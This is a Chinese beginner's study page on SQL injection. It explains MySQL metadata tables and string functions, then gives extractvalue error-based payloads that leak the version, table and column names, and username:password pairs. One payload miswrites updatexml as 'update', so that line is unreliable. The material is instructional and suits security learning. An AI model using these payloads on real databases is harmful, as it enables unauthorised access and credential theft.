微信公众号搜"智元新知"关注
微信扫一扫可直接关注哦!

一些入门的的SQL注入小白基础笔记

sql注入:
user()返回当前数据库连接使用的用户
database()返回当前数据库连接使用的数据库
version()返回当前数据库的版本;

information_schema为MysqL自带数据库,提供访问数据库元数据的方式。
元数据:关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等。
information_schema中,有数个只读表。实际上为视图,不是基本表。实际上为一个虚拟的数据库。只能通过select语句访问,不能对其进行增删改。

information_schema中的表:
schemata:所有库
tables:所有表
columns:所有字段

information_schema.tables表中
提供了关于数据库中表的信息
TABLE_SCHEMA ---->库名
TABLE_NAME ---->表名
TABLE_TYPE ---->表类型
ENGINE ---- >引擎
Version ---->版本
TABLE_ROWS ---->表的行数
AVG_ROW_LENGTH ---->表中行的平均行(字节)
INDEX_LENGTH ---->索引的占用空间大小(字节)

concat_ws(separator,str1,str2,…) 函数可以将这些函数进行组合使用并显示出来,其中第一个参数是作为分隔符使用,使用分隔符分隔再进行连接产生新的字符串
group_concat():将group by产生的同一个分组中的值连接起来,返回一个字符串结果。

关于concat函数和concat_ws()函数的实例:
select concat(‘大’,‘小’) as size from 表
查询出结果为:大小

select concat(‘大’,NULL) as size from 表
查询出结果为:null
concat中又一个参数为NULL,查出来的就为NULL

select concat_ws(’_’,‘大’,‘小’,‘中’) as size from 表
查询出结果为:大_小_中

select concat_ws(’_’,‘大’,‘小’,NULL) as size from 表
查询出结果为:大_小

group_concat( [distinct] 要连接的字段 [order by 排序字段 asc/desc ] [separator ‘分隔符’] )

在这里插入图片描述

MysqL LIMIT获取前N行
SELECT column1,column2,… FROM table LIMIT N;
从第N行开始获取获取M行
LIMIT M OFFSET N
如果回显只有一行,可以修改N从0~N 依次显示所有表名/字段名

extractvalue():从目标XML中返回包含所查询值的字符串。
  EXTRACTVALUE (XML_document, XPath_string);
  第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串)

UPDATEXML(XML_document, XPath_string, new_value);
new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值
改变XML_document中符合XPATH_string的值

Payload:
or extractvalue(1, concat(0x7e, version())) or ‘’
or update(1, concat(0x7e, version()), 1) or ‘’

爆表名:
or extractvalue(1, concat(0x7e, (select concat(table_name) from information_schema.tables where table_schema=database() limit 0,1))) or ‘’
爆字段名:
or extractvalue(1, concat(0x7e, (select concat(column_name) from information_schema.columns where table_name=‘users’ limit 0,1))) or ‘’
爆数据:
or extractvalue(1, concat(0x7e, (select concat_ws(’:’, username, password) from users limit 0,1))) or ‘’
updatexml的注入方式相同

ascii(str1)函数
返回字符串str的最左面字符的ASCII代码
str是空字符串,返回0
如果str是NULL,返回NULL
例:MysqL> select ascii(‘hi’);
+————-+
| ascii(‘hi’) |
+————-+
| 104 |
+————-+
1 row in set

substring(string,position):
substring(str, pos, length) :#(被截取字段,从第几位开始截取截取长度)
从特定位置开始的字符串返回一个给定长度的子字符串
string参数是要提取子字符串的字符串
position参数是一个整数,用于指定子串的起始字符,position可以是正或负整数。

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。